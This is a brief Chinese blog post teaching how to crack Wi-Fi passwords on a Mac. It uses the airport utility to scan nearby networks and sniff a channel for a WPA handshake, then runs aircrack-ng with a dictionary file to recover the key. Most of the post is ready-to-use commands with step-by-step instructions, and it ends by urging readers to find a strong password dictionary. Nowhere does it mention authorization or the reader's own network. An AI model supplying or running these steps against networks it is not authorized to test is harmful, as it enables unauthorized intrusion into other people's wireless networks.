Natsu

博客

ようこそいらっしゃいました。


Mac使用aircrack破解wifi

本文主要讲解在Mac中如何使用aircrack-ng来破解wifi密码

安装

可使用homebrew或者macports进行安装

brew install aircrack-ng

准备工作

首先要用到系统自带的airport监测附近wifi信号,给airport创建一个软连接,使终端可以直接使用airport命令。

sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport /usr/local/bin/airport

airport视不同版本、不同电脑,位置可能不同

开始监测附近wifi

airport -s

显示的结果中,SSID 是 wifi名称,RSSI 是信号强度,CHANNEL 是信道。

选一个信号强的信道进行监听抓包

airport en0 sniff 1

其中en0是自己电脑的网卡地址(可通过ifconfig查看),1是你所选的信道

airport

使用aircrack-ng

运行如下命令:

aircrack-ng -w password.txt /tmp/airportSniffaVuqak.cap

password.txt为你的字典文件,/tmp/airportSniffaVuqak.cap为你上一步抓到的包

就可以看到cap文件内的抓包情况,Encryption中(0 handshake)是抓包失败,(1 handshake)则是抓包成功。 在Index number of target network ?这里输入抓包成功的序号回车,接下来会开始跑字典破解,破解成功后会显示破解出的密码。

注:一个好的常用密码字典,可大大提高破解成功率。常用字典可以自己去网上搜一下。